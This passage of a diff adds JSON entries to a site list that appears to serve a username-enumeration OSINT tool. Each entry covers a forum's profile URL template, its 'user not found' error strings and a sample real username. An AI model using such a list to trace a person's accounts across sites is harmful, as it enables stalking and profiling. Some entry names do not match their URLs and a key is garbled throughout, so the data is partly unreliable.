+ "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "http://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + "urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": 